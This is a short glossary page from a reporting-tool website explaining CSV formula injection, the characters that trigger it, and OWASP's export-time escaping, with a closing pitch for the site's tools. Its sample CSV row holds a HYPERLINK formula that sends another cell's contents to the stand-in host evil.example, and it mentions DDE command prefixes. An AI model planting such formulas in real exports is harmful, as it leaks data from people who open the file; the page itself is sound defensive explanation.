# What Is CSV Injection? — Formula Injection in Exported Spreadsheets

Canonical: https://commareports.com/glossary/csv-injection
Published: 2026-10-13

> CSV injection (formula injection) is when a cell in an exported CSV starts with =, +, - or @ and a spreadsheet runs it as a formula. How the attack works, which characters trigger it, and the escaping OWASP recommends.

# CSV injection

**CSV injection (formula injection) happens when text from an untrusted
source lands in an exported CSV and a cell starts with a character a
spreadsheet reads as a formula.** The file is plain text and harmless —
until somebody double-clicks it and Excel, LibreOffice or Google Sheets
evaluates the cell instead of displaying it.

```csv
name,comment
Ana,"Ships Friday"
Mallory,"=HYPERLINK(""https://evil.example/?d=""&A2,""Click for details"")"
```

The second data row renders as a friendly link whose URL carries the
contents of another cell.

## The trigger characters

A cell is at risk when its first character is one of:

| Character | Why it triggers                                  |
| --------- | ------------------------------------------------ |
| `=`       | Starts a formula everywhere                      |
| `+` / `-` | Read as the sign of an expression: `+1+cmd`      |
| `@`       | Legacy function prefix (Lotus syntax) in Excel   |
| tab, CR   | Some programs strip them, exposing the next char |

## What an attack can do

- **Exfiltrate.** `HYPERLINK`, and in Google Sheets the `IMPORT*`
  functions, can build a URL out of other cells' values.
- **Run something.** Old payloads used Dynamic Data Exchange (`=cmd|…`) to
  launch a program. Current Office releases disable or warn on DDE, so this
  now mostly produces a security prompt — which users are well trained to
  click through.
- **Corrupt.** A comment that starts with `-` or `=` silently turns into
  `#NAME?` and the original text is gone from the view.

## The fix

The guard OWASP recommends, applied **on export**:

1. If a cell begins with `=`, `+`, `-`, `@`, tab or carriage return,
   prefix it with a single quote `'` so the spreadsheet shows it as text.
2. Quote every field and double any `"` inside it, per RFC 4180.

Two cautions. Leave plain numbers alone — `-5` and `+1.2e3` are data, not
formulas, and escaping them breaks every negative value. And the
apostrophe is a real character to anything that is not a spreadsheet:
apply the guard when the CSV is for people, not when it feeds another
program.

The [JSON to CSV converter](/tools/json-to-csv) has this as an "Escape
formulas" switch that skips plain numbers.

## Sidestepping the problem

A CSV attachment is a file someone has to open in a program that executes
formulas. Publishing the rows as a rendered table — a
[CSV to HTML table](/tools/csv-to-html-table) or a
[shared report](/share-html-report) — shows the text as text in any
browser, and reviewers can comment on the exact row instead of emailing
a corrected copy back.

## Try it

Comma is free — unlimited reports, unlimited commenters, unlimited
revision history.

**[Turn a CSV into a shareable table →](/tools/csv-to-html-table)**

### Related

- [Byte order mark](/glossary/byte-order-mark) · [MIME type](/glossary/mime-type)
- [CSV opens wrong in Excel](/fix/csv-opens-wrong-in-excel) · [JSON to CSV](/tools/json-to-csv)
- [Glossary](/glossary)